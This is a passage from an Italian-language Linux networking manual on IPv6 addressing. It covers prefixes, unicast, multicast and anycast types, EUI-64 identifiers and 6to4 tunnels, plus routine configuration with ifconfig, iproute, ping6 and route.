fe80 : 0 : 0 : 0 : 02a0 : 24ff : fe77 : 4997

fe80 : : 02a0 : 24ff : fe77 : 4997
```

38.13.2 Prefissi di indirizzo

Con IPv6, il concetto di maschera di rete è stato semplificato e nei documenti RFC si parla piuttosto di ***prefisso*** di un indirizzo. Il termine rende meglio l'idea del senso che ha, in quanto porta l'attenzione a una parte iniziale dell'indirizzo stesso per qualche scopo. Il prefisso viene segnalato con un numero aggiunto alla fine di un indirizzo IPv6, separato da una barra obliqua ('`/`') che indica il numero di bit iniziali da prendere in considerazione per un qualche scopo. In questo modo si indica la lunghezza del prefisso.

indirizzo_ipv6 / lunghezza_prefisso

È importante osservare che l'indirizzo IPv6 abbinato all'indicazione della lunghezza di un prefisso, non può essere abbreviato più di quanto si possa già fare con questo genere di indirizzi. Si prenda in considerazione un indirizzo con l'indicazione della lunghezza del prefisso strutturato nel modo seguente (la lettera «h» rappresenta una cifra esadecimale diversa da zero):

```
hhhh:0000:0000:hhh0:0000:0000:0000:0000/60
<---- 60 bit ---->
```

Il prefisso si estende per i primi 60 bit, ovvero le prime 15 cifre esadecimali. Sono ammissibili le forme normali di abbreviazione di questa indicazione:

```
hhhh:0:0:hhh0:0:0:0:0/60
hhhh::hhh0:0:0:0:0/60
hhhh:0:0:hhh0::/60
```

Al contrario, non sono ammissibili queste altre:

- ***hhhh***:0:0:***hhh***/60 perché non è valida in generale;
- ***hhhh***::***hhh***0/60 perché si traduce in ***hhhh***:0:0:0:0:0:0:***hhh***0/60;
- ***hhhh***::***hhh***/60 perché si traduce in ***hhhh***:0:0:0:0:0:0:0***hhh***/60.

38.13.3 Tipi di indirizzi

Il sistema introdotto da IPv6 richiede di distinguere gli indirizzi in tre categorie fondamentali: ***unicast***, ***anycast*** e ***multicast***. Quello che in IPv4 è conosciuto come indirizzo broadcast non esiste più in IPv6.

unicast

L'indirizzo unicast riguarda un'interfaccia di rete singola; in altri termini, un indirizzo unicast serve per raggiungere un'interfaccia di rete in modo univoco.

anycast

L'indirizzo anycast serve per essere attribuito a più interfacce di rete differenti (in linea di principio, queste dovrebbero appartenere ad altrettanti componenti di rete distinti). Si tratta di un indirizzo che ha le stesse caratteristiche esteriori di quello unicast, attribuito però a diverse interfacce di altrettanti nodi, con lo scopo di poter raggiungere semplicemente quello che risponde prima (quello più vicino in base al protocollo di instradamento). Per la precisione, i pacchetti inviati a un indirizzo anycast dovrebbero raggiungere un'unica interfaccia di rete.

multicast

L'indirizzo multicast serve per essere attribuito a più interfacce di rete differenti (in linea di principio, queste dovrebbero appartenere ad altrettanti componenti di rete distinti). I pacchetti inviati a un indirizzo multicast dovrebbero raggiungere **tutte** le interfacce di rete a cui questo indirizzo è stato attribuito.

38.13.4 Allocazione dello spazio di indirizzamento

Così come è avvenuto con IPv4, anche gli indirizzi IPv6 sono stati suddivisi per scopi differenti. Si parla di ***tipo di indirizzo***, riferendosi a questa classificazione. Questa distinzione avviene in base a un prefisso binario stabilito, definito FP, ovvero *Format prefix* (prefisso di formato). La tabella 38.160 riporta l'elenco dei prefissi di formato attuali (nel momento in cui viene scritto questo capitolo). Bisogna tenere presente che IPv6 è ancora in una fase attiva di adattamento, per cui è necessario controllare la produzione dei documenti RFC se si vuole rimanere aggiornati a questo riguardo.

Tabella 38.160. Spazio di indirizzamento di IPv6.

Prefisso binario	Prefisso esadecimale	Allocazione
$0000\ 0000_2$	00_{16}	Riservato.
$0000\ 0001_2$	01_{16}	Non assegnato.
$0000\ 001_2$	$02_{16}..03_{16}$	Riservato per l'allocazione NSAP.
$0000\ 010_2$	$04_{16}..05_{16}$	Riservato per l'allocazione IPX.
$0000\ 011_2$	$06_{16}..07_{16}$	Non assegnato.
$0000\ 1_2$	$08_{16}..0F_{16}$	Non assegnato.
0001_2	1_{16}	Non assegnato.
001_2	$2_{16}..3_{16}$	Indirizzi unicast globali aggregabili.
010_2	$4_{16}..5_{16}$	Non assegnato.
011_2	$6_{16}..7_{16}$	Non assegnato.
100_2	$8_{16}..9_{16}$	Non assegnato.
101_2	$A_{16}..B_{16}$	Non assegnato.
110_2	$C_{16}..D_{16}$	Non assegnato.
1110_2	E_{16}	Non assegnato.
$1111\ 0_2$	$F0_{16}..F7_{16}$	Non assegnato.
$1111\ 10_2$	$F8_{16}..FB_{16}$	Non assegnato.
$1111\ 110_2$	$FC_{16}..FD_{16}$	Non assegnato.
$1111\ 1110\ 0_2$	$FE0_{16}..FE7_{16}$	Non assegnato.
$1111\ 1110\ 10_2$	$FE8_{16}..FEB_{16}$	Indirizzi unicast link-local.
$1111\ 1110\ 11_2$	$FEC_{16}..FEF_{16}$	Indirizzi unicast site-local.
$1111\ 1111_2$	FF_{16}	Indirizzi multicast.

È importante osservare subito che il prefisso $0000\ 0000_2$ (binario), incorpora alcuni indirizzi molto importanti: l'indirizzo «non specificato» (0:0:0:0:0:0:0:0 o anche ::), l'indirizzo locale di *loopback* (0:0:0:0:0:0:0:1 o anche ::1) e gli indirizzi ottenuti per incorporazione di quelli IPv4.

Un altro particolare interessante riguarda il fatto che solo gli indirizzi che iniziano per FF_{16} ($1111\ 1111_2$) sono di tipo multicast, mentre gli altri sono tutti unicast. Gli indirizzi anycast sono degli indirizzi con caratteristiche uguali a quelli unicast, a cui però è stato attribuito un ruolo differente.

38.13.5 Indirizzi unicast

Si è accennato al fatto che tutti gli indirizzi, tranne quelli che iniziano per FF_{16}, sono di tipo unicast (e poi eventualmente tra questi si possono definire degli indirizzi anycast).

La caratteristica più importante degli indirizzi unicast è quella di poter essere aggregati a una maschera di bit continua, simile a quella di IPv4, senza il vincolo delle classi di indirizzi (come avveniva invece con IPv4).

Un nodo IPv6, cioè un componente collocato nella rete che riconosce questo protocollo, può trattare l'indirizzo IPv6 come un elemento singolo (nel suo insieme) oppure come qualcosa formato da diverse componenti, in base al ruolo che questo nodo ha nella rete. In pratica, a seconda del contesto, il nodo IPv6 potrebbe vedere l'indirizzo come un numero composto da 128 bit:

128 bit

identificatore dell'interfaccia

In alternativa potrebbe riconoscere un prefisso relativo a una sottorete:

n bit | 128−n bit

prefisso di sottorete | identificatore interfaccia

In questo secondo caso si intende distinguere la parte di indirizzo relativa alla rete in cui si trova collocata l'interfaccia del nodo in questione, rispetto alla parte restante dell'indirizzo, che invece indica precisamente di quale interfaccia si tratta. Ma l'indirizzo unicast può essere visto come il risultato di un'aggregazione molto più sofisticata, dove si inseriscono livelli successivi di sottoreti in forma gerarchica, fino ad arrivare all'ultimo livello che permette di raggiungere la singola interfaccia.

38.13.5.1 Identificatori di interfaccia

La parte finale di un indirizzo unicast serve a identificare l'interfaccia nel ***collegamento*** (*link*), ovvero la rete fisica in cui si trova. Questa parte dell'indirizzo, definibile come ***identificatore di interfaccia*** (*interface identifier*), deve essere univoca all'interno del collegamento. Eventualmente, potrebbe essere univoca anche in un ambito più grande.

La struttura di indirizzo unicast dipende principalmente dal tipo a cui questo appartiene, in base al prefisso di formato. In molti casi, la parte finale dell'indirizzo destinata a identificare l'interfaccia è di 64 bit (la metà di un indirizzo IPv6) e deve essere costruita secondo il formato IEEE EUI-64. L'identificatore EUI-64 è un numero di 64 bit che serve a identificare il produttore e il «numero di serie» di un'apparecchiatura di qualche tipo. In pratica, un produttore ottiene un numero che rappresenta la sua azienda e questo viene usato come parte iniziale degli identificatori EUI-64 di sua competenza. Con tale numero può così «marchiare» le proprie apparecchiature, avendo l'accortezza di utilizzare sempre numeri differenti per ogni pezzo, purché questi inizino tutti con il prefisso che gli è stato assegnato. In condizioni normali, un identificatore EUI-64 corretto è anche un numero univoco a livello globale.

Nel momento in cui l'interfaccia di rete a cui si attribuisce un indirizzo unicast dispone del numero EUI-64, è facile ottenere l'identificatore di interfaccia; quando questo non è disponibile si possono utilizzare altre tecniche per generare un numero che gli assomigli. Nel primo caso, si intuisce che il numero utilizzato per l'identificatore di interfaccia è anche univoco a livello globale, mentre negli altri casi questo non può essere vero in assoluto. A questo proposito, lo stesso numero EUI-64 contiene un bit che viene utilizzato per indicare il fatto che si tratti di un identificatore univoco a livello globale o meno. Si tratta del settimo bit più significativo, il quale viene sottratto dai valori che può assumere la parte iniziale di 24 bit di identificazione dell'azienda (*company id*).

Figura 38.163. Schema di un identificatore EUI-64 suddiviso in bit.

24 bit
40 bit

se il settimo bit più significativo di un identificatore EUI–64
è uguale a zero, rappresenta un indirizzo univoco a livello globale

Per la precisione, un indirizzo unicast che termina con l'identificatore di interfaccia composto dall'identificatore EUI-64, inverte il bit che serve a riconoscerlo come univoco a livello globale, facendo sì che nell'indirizzo IPv6, questo bit sia attivo per indicare l'univocità. La motivazione di questa inversione è molto semplice: si vuole evitare che la porzione finale di un indirizzo IPv6, che da solo **non è univoco** a livello globale, debba avere per forza quel bit a uno, cosa che costringerebbe a una notazione dettagliata dell'indirizzo IPv6 corrispondente. In pratica, quando si preferisce assegnare l'identificatore di interfaccia in modo manuale, per questioni di riservatezza (l'identificatore EUI-64 ottenuto dall'interfaccia di rete consentirebbe di riconoscere il nodo anche se questo cambia rete), oppure per comodità, si utilizzano probabilmente pochi numeri nella parte finale di questo spazio; in tal modo, si riesce ad abbreviare facilmente l'indirizzo IPv6 che si ottiene, perché il bit a cui si fa riferimento nella figura 38.163, essendo invertito risulta azzerato.

Nel caso particolare delle interfacce Ethernet, queste hanno un indirizzo MAC, ovvero un indirizzo di livello 2 (secondo la stratificazione ISO-OSI) corrispondente all'identificatore EUI-48. L'organizzazione IEEE ha stabilito una conversione di questi identificatori nel nuovo formato EUI-64, inserendo il codice $FFFE_{16}$ subito dopo i primi tre ottetti che identificano l'azienda (*company ID*). In pratica, il codice

```
00-80-ad-c8-a9-81
```

diventa:

```
00-80-ad-ff-fe-c8-a9-81
```

Di conseguenza, tenendo conto che il settimo bit di questo codice viene invertito, la parte finale dell'indirizzo IPv6 che lo incorpora diventa:

```
xxxx:xxxx:xxxx:xxxx:0280:adff:fec8:a981
```

Quando un identificatore di interfaccia viene determinato automaticamente, si usa in inglese l'aggettivo *stateless*, spesso anche in forma di sostantivo autonomo.

Figura 38.167. Fasi della costruzione dell'indirizzo IPv6 a partire dall'indirizzo Ethernet.

38.13.5.2 Indirizzo non specificato

L'indirizzo 0:0:0:0:0:0:0:0, ovvero quello in cui tutti i 128 bit sono azzerati, è quello ***non specificato*** (*unspecified address*). Questo indirizzo non può essere assegnato ad alcun nodo e rappresenta l'assenza di un indirizzo.

Come regola, questo indirizzo non può essere utilizzato come destinazione di un pacchetto e nemmeno nella definizione delle regole di instradamento.

38.13.5.3 Indirizzo locale di loopback

L'indirizzo unicast 0:0:0:0:0:0:0:1 viene usato per identificare l'interfaccia virtuale locale, ovvero l'interfaccia di *loopback*. Come tale, non può essere utilizzato per un'interfaccia fisica reale.

In pratica, un pacchetto destinato a questo indirizzo non deve uscire al di fuori del nodo (nella rete fisica esterna); inoltre, un pacchetto destinato a un altro nodo non può indicare come mittente questo indirizzo.

38.13.5.4 Indirizzi link-local

Gli indirizzi link-local si riferiscono all'ambito del collegamento in cui si trovano connesse le interfacce di rete. Questi indirizzi rappresentano uno spazio privato che non può essere raggiunto dall'esterno e, di conseguenza, non può attraversare i router. Evidentemente, tali indirizzi servono per scopi amministrativi particolari, legati all'ambito della rete fisica.

La struttura normale di un indirizzo link-local è molto semplice:

Come si può vedere, i primi 10 bit servono a definire il formato dell'indirizzo, stabilendo che si tratta del tipo link-local. A metà dell'indirizzo inizia l'identificatore di interfaccia, ottenuto

dall'identificatore EUI-64 (già descritto in precedenza), identificatore che viene determinato in modo differente a seconda del tipo di interfaccia.

Dal momento che l'indirizzo link-local deve essere univoco solo all'interno del collegamento fisico in cui si trova, non richiede la distinzione in sottoreti e può essere determinato in modo automatico, eventualmente interrogando la rete stessa. Di solito, in presenza di interfacce Ethernet si utilizza il loro indirizzo MAC trasformandolo secondo la regola già vista a proposito dell'identificatore EUI-48. Per esempio, un'interfaccia Ethernet il cui indirizzo MAC sia

`00:80:ad:c8:a9:81`

ottiene l'indirizzo IPv6 link-local

`fe80:0000:0000:0000:0280:adff:fec8:a981`

che si può abbreviare come

`fe80::280:adff:fec8:a981`

Ecco come potrebbe mostrarlo '**`ifconfig`**':

```
eth0      Link encap:Ethernet  HWaddr 00:80:AD:C8:A9:81
          inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::280:adff:fec8:a981/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          Interrupt:11 Base address:0x300
```

In questa situazione, dal momento che non c'è bisogno di organizzare tali indirizzi in sottoreti, l'unico prefisso che abbia un senso è quello dei primi 10 bit che stanno a indicarne il formato. Tuttavia, è normale che venga indicato un prefisso più grande, precisamente di 64 bit, dal momento che non si prevede l'utilizzo dello spazio che si trova tra il prefisso di formato e i primi 64 bit. Pertanto, un indirizzo link-local che porti l'indicazione della lunghezza del prefisso, utilizza normalmente il numero 64, come si vede nell'estratto generato da '**`ifconfig`**' mostrato sopra.

38.13.5.5 Indirizzi site-local

Gli indirizzi site-local si riferiscono all'ambito di un sito e si possono utilizzare liberamente senza bisogno di alcuna forma di registrazione. Questi indirizzi rappresentano uno spazio privato che non può essere raggiunto dalle reti esterne al sito in questione.

La struttura normale di un indirizzo site-local è molto semplice:

10 bit
54 bit
64 bit
$1111\ 1110\ 11_2$
sottoreti
identificatore di interfaccia

I primi 10 bit servono a definire il formato dell'indirizzo, stabilendo che si tratta del tipo site-local; lo spazio tra l'undicesimo e il 64-esimo bit può essere utilizzato per strutturare gli indirizzi in sottoreti, in base alle esigenze del sito. La seconda metà dell'indirizzo viene riservata per l'identificatore di interfaccia, ottenuto dall'identificatore EUI-64 (già descritto in precedenza), determinato in modo differente a seconda del tipo di interfaccia.

In pratica, rispetto a un indirizzo link-local cambia il prefisso di formato, aggiungendo la possibilità e la convenienza di suddividere lo spazio di indirizzi in sottoreti.

38.13.5.6 Indirizzi unicast globali aggregabili

Allo stato attuale, nel momento in cui viene scritto questo capitolo, l'unico gruppo di indirizzi IPv6 previsto per una gestione globale (cioè per Internet) è quello che inizia con il prefisso 001_2. Senza entrare troppo nel dettaglio (considerato che si tratta di una materia che non è abbastanza consolidata), lo schema di indirizzamento per questi indirizzi potrebbe essere riassunto nel modo seguente:

3 bit | 13 + 8 + 24 bit | 16 bit | 64 bit
001_2 | TLA + riserva + NLA | SLA | identificatore di interfaccia

Dopo il prefisso di formato seguono 45 bit suddivisi in: un identificatore del primo livello di aggregazione (*Top level aggregation*), uno spazio di riserva e un identificatore successivo (*Next level aggregation*). Subito dopo seguono altri 16 bit la cui gestione dovrebbe essere affidata a un solo sito, per l'organizzazione delle proprie sottoreti. Come sempre, la seconda metà dell'indirizzo è destinato all'identificatore di interfaccia.

In pratica, un sito che vuole utilizzare indirizzi IPv6 accessibili anche da Internet, dovrebbe ottenere un lotto di indirizzi composto dei primi 48 bit dal suo ISP, ottenendo la possibilità di gestirsi come vuole i 16 bit che precedono l'identificatore di interfaccia.

38.13.6 Indirizzi multicast

Un indirizzo IPv6 multicast serve a identificare e a raggiungere un gruppo di nodi simultaneamente. Gli indirizzi multicast hanno una struttura particolare:

8 bit | 4 bit | 4 bit | 112 bit
$1111\ 1111_2$ | $000T_2$ | ambito | identificatore di gruppo

Il prefisso di formato è $1111\ 1111_2$, ovvero FF_{16}, a cui seguono 4 bit di opzione. Di questi 4 bit, è stato specificato solo l'uso di quello meno significativo, indicato convenzionalmente con la lettera «T» (temporaneamente, gli altri devono essere azzerati; in seguito potrebbe essere stabilito qualcosa di diverso).

- T = 0 indica un indirizzo multicast assegnato permanentemente dall'autorità globale di Internet;
- T = 1 indica un indirizzo multicast assegnato in modo provvisorio.

I 4 bit successivi rappresentano l'ambito dell'indirizzo multicast (*scope*). Il significato dei valori che può assumere questo campo sono indicati nella tabella 38.176.

Tabella 38.176. Elenco dei valori per definire l'ambito di un indirizzo multicast.

Valore	Significato	Annotazioni
0_{16}	Riservato.	
1_{16}	Ambito node-local.	I pacchetti non possono uscire dal nodo.
2_{16}	Ambito link-local.	I pacchetti non possono attraversare i router.
3_{16}	Non assegnato.	
4_{16}	Non assegnato.	
5_{16}	Ambito site-local.	I pacchetti non possono uscire dal «sito».
6_{16}	Non assegnato.	
7_{16}	Non assegnato.	
8_{16}	Ambito organization-local.	I pacchetti non possono uscire dalla «organizzazione» (si tratta di un concetto abbastanza vago che deve essere chiarito nel tempo).
9_{16}	Non assegnato.	
A_{16}	Non assegnato.	
B_{16}	Non assegnato.	
C_{16}	Non assegnato.	
D_{16}	Non assegnato.	
E_{16}	Ambito globale.	
F_{16}	Non assegnato.	

La parte finale dell'indirizzo identifica il gruppo multicast nell'ambito stabilito dal campo *scope*. Tuttavia, nel caso di indirizzi stabiliti in modo permanente, l'identificatore di gruppo resta uguale per tutti i tipi di ambiti.

Per regola, non si può utilizzare un indirizzo multicast come mittente nei pacchetti IPv6, inoltre questi indirizzi non possono apparire nelle regole di instradamento dei router.

Tutti gli indirizzi multicast del tipo ff0***x***:0:0:0:0:0:0:0 sono riservati e non possono essere assegnati ad alcun gruppo multicast. Oltre a questi sono interessanti gli indirizzi seguenti:

`ff01:0:0:0:0:0:0:1`	identifica il gruppo di tutti i nodi IPv6, nell'ambito 1_{16}, ovvero node-local;
`ff02:0:0:0:0:0:0:1`	identifica il gruppo di tutti i nodi IPv6, nell'ambito 2_{16}, ovvero link-local;
`ff01:0:0:0:0:0:0:2`	identifica il gruppo di tutti i router IPv6, nell'ambito 1_{16}, ovvero node-local;
`ff02:0:0:0:0:0:0:2`	identifica il gruppo di tutti i router IPv6, nell'ambito 1_{16}, ovvero link-local;
`ff05:0:0:0:0:0:0:2`	identifica il gruppo di tutti i router IPv6, nell'ambito 5_{16}, ovvero site-local;
`ff02:0:0:0:0:0:0:c`	identifica il gruppo di tutti i serventi DHCPv6, nell'ambito 2_{16}, ovvero link-local;

`ff02:0:0:0:1:ff00::/104`	con l'aggiunta degli ultimi 24 bit di un indirizzo unicast normale, viene usato nell'ambito 2_{16}, ovvero link-local, per conoscere l'indirizzo di livello due corrispondente (MAC o altro). In pratica si cerca di raggiungere un nodo locale, senza conoscere l'indirizzo di livello due nel modello ISO-OSI, usando solo una piccola porzione finale dell'indirizzo IPv6 che il destinatario dovrebbe avere.

Il meccanismo di *neighbour discovery*, o NDISC, attraverso quello che viene chiamato come *solicited node multicast address*, corrispondente agli indirizzi con prefisso ff02:0:0:0:1:ff00::/104, sostituisce il protocollo ARP di IPv4.

38.13.7 Indirizzi Anycast

Gli indirizzi anycast sono degli indirizzi con le caratteristiche di quelli unicast che, in base al contesto, sono attribuiti a più interfacce di rete differenti, appartenenti ad altrettanti componenti di rete distinti.

L'indirizzo anycast più comune è quello che serve a raggiungere simultaneamente tutti i router nell'ambito link-local. Si tratta precisamente del *Subnet router anycast address*, il quale si ottiene azzerando la parte di indirizzo che segue il prefisso. Per esempio, in una rete 3ffe:ffff:1:2:3:4:5:6/64, si tratta dell'indirizzo 3ffe:ffff:1:2::

38.13.8 Indirizzi IPv6 che incorporano indirizzi IPv4

Per addolcire la transizione da IPv4 a IPv6, oltre a tanti altri accorgimenti, sono stabiliti diversi modi per rappresentare un indirizzo IPv4 all'interno di un indirizzo IPv6, ognuno nell'ambito del proprio contesto di utilizzo specifico. Ne vengono mostrati solo alcuni nelle sezioni successive.

38.13.8.1 IPv4-compatible IPv6 addresses

Gli indirizzi «compatibili IPv4», ovvero *IPv4-compatible IPv6 addresses*, utilizzano 96 bit azzerati seguiti dai bit dell'indirizzo IPv4:

80 bit	16 bit	32 bit
0000 .... 0000_{16}	0000_{16}	indirizzo IPv4

In presenza di indirizzi di questo tipo, è ammessa una notazione speciale, in cui la parte finale dell'indirizzo si indica secondo le convenzioni di IPv4. Nel caso di 192.168.1.1, si scrive:

```
::192.168.1.1
```

38.13.8.2 IPv4-mapped IPv6 addresses

Gli indirizzi «ricavati da IPv4», ovvero *IPv4-mapped IPv6 addresses*, utilizzano 80 bit azzerati, seguiti da 16 bit a uno; alla fine ci sono i 32 bit dell'indirizzo IPv4:

80 bit	16 bit	32 bit
0000 .... 0000_{16}	$FFFF_{16}$	indirizzo IPv4

Anche in questo caso, in presenza di tali indirizzi è ammessa una notazione semplifica derivante da IPv4. Nel caso di 192.168.1.1, si scrive:

```
::ffff:192.168.1.1
```

38.13.8.3 6to4

Il documento RFC 3056 *Connection of IPv6 Domains via IPv4 Clouds* descrive un insieme di indirizzi IPv6, di tipo unicast globale aggregabile, contenenti un indirizzo IPv4. Si fa riferimento a questo tipo di indirizzo e al meccanismo che ne sta dietro con la sigla 6to4. Semplificando le cose, l'indirizzo si ottiene così:

16 bit	32 bit	16 bit	64 bit
2002_{16}	indirizzo IPv4	SLA	identificatore interfaccia

Se si scompone il numero iniziale, 2002_{16}, si comprende che si tratta di un indirizzo unicast globale aggregabile, dato che il prefisso è 001_{2}:

```
0010 0000 0000 0010
```

Di solito, per realizzare un tunnel 6to4, si completa l'indirizzo con un valore pari a zero per il campo SLA e uno al posto dell'identificatore di interfaccia. In pratica:

16 bit	32 bit	64 bit
2002_{16}	indirizzo IPv4	0000................................0001_{16}

In altri termini, si abbrevia nella forma seguente, dove ***x*** rappresenta quattro bit dell'indirizzo IPv4:

```
2002:xxxx:xxxx::1
```

38.13.9 Tunnel 6to4

Quando si dispone di un indirizzo IPv4 valido a livello globale, ma la propria connessione a Internet si limita al protocollo IPv4, si può usare un tunnel 6to4 per raggiungere facilmente la rete globale IPv6. Il tunnel si instaura verso un router speciale, con indirizzo IPv4 192.88.99.1; tuttavia, tale indirizzo non è univoco e si traduce in un router relativamente più vicino di altri alla propria connessione.

La prima cosa da fare per realizzare un tunnel 6to4 è determinare l'indirizzo IPv6 ottenuto trasformando quello IPv4 disponibile, attraverso il sistema stabilito per questo tipo di tunnel. Quello che segue è uno script molto semplice, per una shell Bourne, con il quale si trasforma un indirizzo IPv4, secondo la notazione decimale puntata, in un indirizzo IPv6, dove il campo SLA rimane azzerato e l'identificatore di interfaccia contiene solo il valore uno:

```
#!/bin/sh

# Il primo argomento dello script contiene l'indirizzo IPv4.
IPV4_ADDR=$1

# Toglie i punti dall'indirizzo IPv4 (1.2.3.4 --> 1 2 3 4).
IPV4_ADDR=`echo $IPV4_ADDR | tr "." " "`

# Converte ogni ottetto in esadecimale con l'aiuto di printf.
IPV4_ADDR=`printf "%02x%02x:%02x%02x" $IPV4_ADDR`

# Genera l'indirizzo IPv6, aggiungendo il prefisso e il suffisso.
IPV6_ADDR=2002:$IPV4_ADDR::1

# Emette il risultato.
echo $IPV6_ADDR
```

Supponendo di disporre dell'indirizzo IPv4 1.2.3.4, l'indirizzo IPv6 corrispondente sarebbe 2002:0102:0304::1. La figura seguente mostra in modo molto semplice il tunnel che si deve realizzare, tra il nodo locale 2002:0102:0304::1 e il router ::c058:6301, che si rappresenta in modo più semplice come ::192.88.99.1:

Si può osservare che l'indirizzo IPv6 ::192.88.99.1 è di tipo anycast, a indicare che deve trattarsi del router più vicino, in grado di permettere la realizzazione di un tunnel 6to4.

38.14 Utilizzo di IPv6

Per usare IPv6 può essere necessario aggiornare o sostituire alcuni pacchetti di programmi di servizio per la gestione della rete. Purtroppo, diventa difficile indicare il nome dei pacchetti applicativi da utilizzare, dal momento che le varie distribuzioni GNU si comportano in maniera differente. In generale, si deve tenere presente che se un programma per la gestione della rete non funziona come dovrebbe con IPv6, può darsi che si debba aggiornare il pacchetto, oppure che questo vada sostituito con un altro che fornisce le stesse funzionalità

Si osservi che gli esempi mostrati fanno riferimento a un sistema GNU/Linux.

38.14.1 kernel Linux

Il kernel Linux deve essere predisposto per la gestione dei protocolli IPv6 (sezione 8.3.7). Se la gestione di IPv6 viene inserita in un modulo, per abilitarla occorre attivare il modulo relativo, per esempio attraverso il comando seguente che potrebbe essere collocato all'interno degli script della procedura di inizializzazione del sistema:

```
...
/sbin/modprobe ipv6
...
```

Per verificare che il kernel in funzione sia in grado di gestire i protocolli IPv6, si può controllare che esista il file virtuale '`/proc/net/if_inet6`', il quale ha lo scopo di elencare le interfacce di rete e i loro indirizzi IPv6. Nel caso degli esempi che vengono mostrati nelle sezioni successive, si potrebbe vedere quanto segue:

cat /proc/net/if_inet6 [*Invio*]

```
00000000000000000000000000000001 01 80 10 80       lo
fe800000000000002a024fffe774997 04 0a 20 80     eth0
```

Nel caso l'elaboratore debba fungere da router, è necessario abilitare la funzionalità di attraversamento dei pacchetti con il comando seguente:

echo 1 > /proc/sys/net/ipv4/ip_forward [*Invio*]

Inoltre, è bene ricordare di abilitare l'attraversamento dei pacchetti IPv6 nel router locale, cosa che si dovrebbe ottenere con il comando seguente:

echo 1 > /proc/sys/net/ipv6/conf/all/forwarding [*Invio*]

38.14.2 Preparazione dei file di configurazione

Per poter fare qualunque cosa con IPv6, è necessario che il file '`/etc/protocols`' risulti corretto anche per le finalità di questo protocollo. In particolare, è importante che appaiano le righe seguenti:

```
ipv6            41      IPv6          # IPv6
ipv6-route      43      IPv6-Route    # Routing Header for IPv6
ipv6-frag       44      IPv6-Frag     # Fragment Header for IPv6
ipv6-crypt      50      IPv6-Crypt    # Encryption Header for IPv6
ipv6-auth       51      IPv6-Auth     # Authentication Header for IPv6
icmpv6          58      IPv6-ICMP     # ICMP for IPv6
ipv6-nonxt      59      IPv6-NoNxt    # No Next Header for IPv6
ipv6-opts       60      IPv6-Opts     # Destination Options for IPv6
```

Mancando queste indicazioni, lo stesso eco ICMP (Ping) non può funzionare, perché non si trova la definizione del protocollo ICMPv6 (corrispondente al nome '**`icmpv6`**' nell'esempio mostrato).

38.14.3 Attivazione di IPv6 e definizione degli indirizzi link-local

Come già accennato, per poter gestire IPv6 occorre un kernel adatto. Quando tutto è pronto, vengono fissati automaticamente l'indirizzo locale di *loopback* e gli indirizzi link-local. Lo si può osservare con Ifconfig:

`#` **`ifconfig`** [*Invio*]

```
eth0      Link encap:Ethernet  HWaddr 00:A0:24:77:49:97
          inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::2a0:24ff:fe77:4997/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:101 errors:1 dropped:1 overruns:0 frame:1
          TX packets:68 errors:0 dropped:0 overruns:0 carrier:1
          collisions:0 txqueuelen:100
          Interrupt:12 Base address:0xff80

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:3924  Metric:1
          RX packets:24 errors:0 dropped:0 overruns:0 frame:0
          TX packets:24 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
```

In alternativa, con Iproute:

`#` **`ip address show dev lo`** [*Invio*]

```
1: lo: <LOOPBACK,UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
```

`#` **`ip address show dev eth0`** [*Invio*]

```
3: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 100
    link/ether 00:a0:24:77:49:97 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.1/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::2a0:24ff:fe77:4997/64 scope link
```

Secondo la filosofia di IPv6, questi indirizzi devono avere già il loro instradamento naturale, di conseguenza sono già pronti per essere usati. Si può verificare con una delle varie versioni modificate di Ping,[27] in grado di usare il protocollo ICMPv6:

ping6 ::1 [*Invio*]

Oppure:

ping6 fe80::2a0:24ff:fe77:4997 [*Invio*]

In entrambi i casi, si dovrebbe osservare l'eco regolarmente. Se si ha la possibilità di predisporre anche un altro elaboratore, connesso alla stessa rete fisica, si può osservare che l'eco ICMPv6 dovrebbe funzionare correttamente anche verso quel nodo, pur senza avere dichiarato l'instradamento.[28]

Naturalmente, si può usare anche Traceroute,[29] ma questo diventa più utile in seguito, quando si inseriscono dei router nel transito dei pacchetti:

traceroute6 fe80::2a0:24ff:fe77:4997 [*Invio*]

Oppure:

tracepath6 fe80::2a0:24ff:fe77:4997 [*Invio*]

Per verificare le regole di instradamento, anche se queste non sono state inserite attraverso un comando apposito, si può utilizzare '**route**' nel modo seguente (il risultato che si ottiene deriva dagli esempi già visti):

route -A inet6 [*Invio*]

```
Kernel IPv6 routing table
Destination                     Next Hop  Flags Metric Ref   Use Iface
::1/128                         ::        U     0      4       0 lo
fe80::2a0:24ff:fe77:4997/128    ::        U     0      236     1 lo
fe80::/64                       ::        UA    256    0       0 eth0
ff00::/8                        ::        UA    256    0       0 eth0
::/0                            ::        UDA   256    0       0 eth0
```

Anche in questo caso si può usare in alternativa Iproute, benché restituisca un esito differente:

ip -6 route show [*Invio*]

```
fe80::/64 dev eth0  proto kernel  metric 256  mtu 1500 advmss 1440
ff00::/8 dev eth0  proto kernel  metric 256  mtu 1500 advmss 1440
default dev eth0  proto kernel  metric 256  mtu 1500 advmss 1440
unreachable default dev lo  metric -1  error -101
```

38.14.4 Definizione degli indirizzi site-local

Gli indirizzi site-local devono essere dichiarati esplicitamente, anche se per questo ci si potrebbe avvalere di Radvd, in modo da utilizzare automaticamente l'identificatore EUI-64, come descritto nella sezione 38.14.6.[30] Continuando a fare riferimento allo stesso identificatore EUI-64 usato nella sezione precedente, considerando che la configurazione link-local sia già avvenuta, si può usare Ifconfig nel modo seguente:

ifconfig eth0 inet6 add fec0:0:0:1:2a0:24ff:fe77:4997/64 [*Invio*]

Oppure, con Iproute:

